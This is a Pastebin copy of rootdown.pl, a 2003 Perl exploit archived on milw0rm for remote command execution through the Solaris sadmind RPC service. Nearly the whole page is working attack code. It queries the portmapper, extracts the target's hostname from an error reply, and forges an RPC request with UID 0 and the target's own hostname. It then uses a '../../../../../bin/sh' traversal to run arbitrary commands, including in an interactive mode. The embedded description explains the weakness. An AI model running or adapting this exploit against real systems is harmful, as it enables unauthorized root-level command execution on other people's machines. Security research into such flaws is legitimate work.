Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl -w
- ##################
- ##
- # Title: rootdown.pl
- # Purpose: Solaris Remote command executiong via sadmind
- # Author: H D Moore hdm at metasploit.com
- # Copyright: Copyright (C) 2003 METASPLOIT.COM
- ##
- use strict;
- use POSIX;
- use IO::Socket;
- use IO::Select;
- use Getopt::Std;
- my $VERSION = "1.0";
- my %opts;
- getopts("h:p:c:r:iv", \%opts);
- if ($opts{v}) { show_info() }
- if (! $opts{h}) { usage() }
- my $target_host = $opts{h};
- my $target_name = "exploit";
- my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
- my $portmap = $opts{r} ? $opts{r} : 111;
- ##
- # Determine the port used by sadmind
- ##
- my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
- if (! $target_port)
- {
- print STDERR "Error: could not determine port used by sadmind\n";
- exit(0);
- }
- ##
- # Determine the hostname of the target
- ##
- my $s = rpc_socket($target_host, $target_port);
- my $x = rpc_sadmin_exec($target_name, "id");
- print $s $x;
- my $r = rpc_read($s);
- close ($s);
- if ($r && $r =~ m/Security exception on host (.*)\. USER/)
- {
- $target_name = $1;
- } else {
- print STDERR "Error: could not obtain target hostname.\n";
- exit(0);
- }
- ##
- # Execute commands :)
- ##
- my $interactive = 0;
- if ($opts{i}) { $interactive++ }
- do {
- if ($opts{i}) { $command = command_prompt() } else
- {
- print STDERR "Executing command on '$target_name' via port $target_port\n";
- }
- $s = rpc_socket($target_host, $target_port);
- $x = rpc_sadmin_exec($target_name, $command);
- print $s $x;
- $r = rpc_read($s);
- close ($s);
- if ($r)
- {
- # Command Failed
- if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
- {
- print STDERR "Error: something went wrong with the RPC format.\n";
- exit(0);
- }
- # Command might have failed
- if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
- {
- print STDERR "Error: something may have gone wrong with the sadmind format\n";
- }
- # Confirmed success
- if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
- {
- print STDERR "Success: your command has been executed successfully.\n";
- }
- if (length($r) != 36) { print STDERR "Unknown Response: $r\n" }
- } else {
- print STDERR "Error: no response recieved, you may want to try again.\n";
- exit(0);
- }
- } while ($interactive);
- exit(0);
- sub usage {
- print STDERR "\n";
- print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
- print STDERR " Usage: $0 -h <target> -c <command> [options]\n";
- print STDERR " Options:\n";
- print STDERR " -i\tStart interactive mode (for multiple commands)\n";
- print STDERR " -p\tAvoid the portmapper and use this sadmind port\n";
- print STDERR " -r\tQuery alternate portmapper on this UDP port\n";
- print STDERR " -v\tDisplay information about this exploit\n";
- print STDERR "\n\n";
- exit(0);
- }
- sub show_info {
- print "\n\n";
- print " Name: rootdown.pl\n";
- print " Author: H D Moore <hdm\@metasploit.com>\n";
- print "Version: $VERSION\n\n";
- # not finsihed :)
- print
- "This exploit targets a weakness in the default security settings
- of the sadmind RPC application. This application is installed and
- enabled by default on most versions of the Solaris operating
- system.\n\n".
- "The sadmind application defaults to a weak security mode known as
- AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
- the service will accept a structure containing the user and group
- IDs as well as the originating system name. These values are not
- validated in any form and are completely controlled by the client.
- If the standard sadmin RPC API calls are used to generate the request,
- the ADM_CLIENT_HOST parameter is filled in with the hostname of the
- client system. If the RPC packet is modified so that this field is
- set to the hostname of the remote system, it will be processed as
- if it was a local request. If the user ID is set to zero or the
- value of any user in the sysadmin group, it is possible to call
- arbitrary methods in any class available to sadmind.\n\n".
- "If the Solstice AdminSuite client software has not been installed,
- the only class available is 'system', which only contains a single
- method called 'admpipe'. The strings within this program seem to
- suggest that it can be used run arbitrary commands, however I chose
- a different method of command execution. Since each method is simply
- an executable in the class directory, it is possible to use a
- standard directory traversal attack to execute any application.
- We can pass arguments to these methods using the standard API.
- An example of spawning a shell which executes the 'id' command:
- # apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
- "To exploit this vulnerability, we must create a RPC packet that
- calls the '/bin/sh' method, passing it the parameter of the command
- we want to execute. To do this, packet dumps of the 'apm' tool
- were obtained and the format was slowly mapped. The hostname of
- the target system must be known for this exploit to work, however
- when sadmind is called with the wrong name, it replies with a
- 'ACCESS DENIED' error message containing the correct name. The
- final code does the following:
- 1) Queries the portmapper to determine the sadmind port
- 2) Sends an invalid request to sadmind to obtain the hostname
- 3) Uses the hostname to forge the RPC packet and execute commands
- This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
- Related URLs:
- - http://www.idefense.com/advisory/09.16.03.txt
- - http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
- ";
- exit(0);
- }
- sub command_prompt {
- select(STDOUT); $|++;
- print STDOUT "\nsadmind> ";
- my $command = <STDIN>;
- chomp($command);
- if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
- {
- print "\nExiting interactive mode...\n";
- exit(0);
- }
- return ($command)
- }
- sub rpc_socket {
- my ($target_host, $target_port) = @_;
- my $s = IO::Socket::INET->new
- (
- PeerAddr => $target_host,
- PeerPort => $target_port,
- Proto => "udp",
- Type => SOCK_DGRAM
- );
- if (! $s)
- {
- print "\nError: could not create socket to target: $!\n";
- exit(0);
- }
- select($s); $|++;
- select(STDOUT); $|++;
- nonblock($s);
- return($s);
- }
- sub rpc_read {
- my ($s) = @_;
- my $sel = IO::Select->new($s);
- my $res;
- my @fds = $sel->can_read(4);
- foreach (@fds) { $res .= <$s>; }
- return $res;
- }
- sub nonblock {
- my ($fd) = @_;
- my $flags = fcntl($fd, F_GETFL,0);
- fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
- }
- sub rpc_getport {
- my ($target_host, $target_port, $prog, $vers) = @_;
- my $s = rpc_socket($target_host, $target_port);
- my $portmap_req =
- pack("L", rand() * 0xffffffff) . # XID
- "\x00\x00\x00\x00". # Call
- "\x00\x00\x00\x02". # RPC Version
- "\x00\x01\x86\xa0". # Program Number (PORTMAP)
- "\x00\x00\x00\x02". # Program Version (2)
- "\x00\x00\x00\x03". # Procedure (getport)
- ("\x00" x 16). # Credentials and Verifier
- pack("N", $prog) .
- pack("N", $vers).
- pack("N", 0x11). # Protocol: UDP
- pack("N", 0x00); # Port: 0
- print $s $portmap_req;
- my $r = rpc_read($s);
- close ($s);
- if (length($r) == 28)
- {
- my $prog_port = unpack("N",substr($r, 24, 4));
- return($prog_port);
- }
- return undef;
- }
- sub rpc_sadmin_exec {
- my ($hostname, $command) = @_;
- my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
- my $rpc =
- pack("L", rand() * 0xffffffff) . # XID
- "\x00\x00\x00\x00". # Call
- "\x00\x00\x00\x02". # RPC Version
- "\x00\x01\x87\x88". # Program Number (SADMIND)
- "\x00\x00\x00\x0a". # Program Version (10)
- "\x00\x00\x00\x01". # Procedure
- "\x00\x00\x00\x01"; # Credentials (UNIX)
- # Auth Length is filled in
- # pad it up to multiples of 4
- my $rpc_hostname = $hostname;
- while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
- my $rpc_auth =
- # Time Stamp
- pack("N", time() + 20001) .
- # Machine Name
- pack("N", length($hostname)) . $rpc_hostname .
- "\x00\x00\x00\x00". # UID = 0
- "\x00\x00\x00\x00". # GID = 0
- "\x00\x00\x00\x00"; # No Extra Groups
- $rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
- my $header =
- # Another Time Stamp
- reverse(pack("L", time() + 20005)) .
- "\x00\x07\x45\xdf".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
- "\x7f\x00\x00\x01". # 127.0.0.1
- "\x00\x01\x87\x88". # SADMIND
- "\x00\x00\x00\x0a\x00\x00\x00\x04".
- "\x7f\x00\x00\x01". # 127.0.0.1
- "\x00\x01\x87\x88". # SADMIND
- "\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00".
- "\x00\x00\x00\x3b". $packed_host.
- "\x00\x00\x00\x00\x06" . "system".
- "\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
- # Append Body Length ^-- Here
- my $body =
- "\x00\x00\x00\x0e". "ADM_FW_VERSION".
- "\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
- "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x08". "ADM_LANG".
- "\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
- "\x00\x01". "C" .
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x0d". "ADM_REQUESTID".
- "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
- "0810:1010101010:1"."\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x09". "ADM_CLASS".
- "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
- "\x00\x00\x00\x06" . "system" .
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
- "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
- "\x00\x00\x00\x03". "2.1".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x0a" . "ADM_METHOD" .
- "\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
- "\x00\x00\x00\x15". "../../../../../bin/sh" .
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x08". "ADM_HOST" .
- "\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
- $packed_host.
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
- "\x00\x00\x00\x00\x09".
- pack("N", length($hostname) + 1) .
- pack("N", length($hostname)) .
- $rpc_hostname .
- "\x00\x00\x00\x00". "\x00\x00\x00\x00".
- "\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
- "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
- "\x00\x00\x00\x00\x00".
- "\x00\x09\x00\x00\x00\x1c".
- "\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x09" . "ADM_FENCE" .
- "\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
- "\x00\x00\x03\x00\x00\x00\x02" . "-c" .
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
- "\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
- $command . ("\x00" x (512 - length($command))).
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
- "netmgt_endofargs";
- my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
- return($res);
- }
- # milw0rm.com [2003-09-19]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement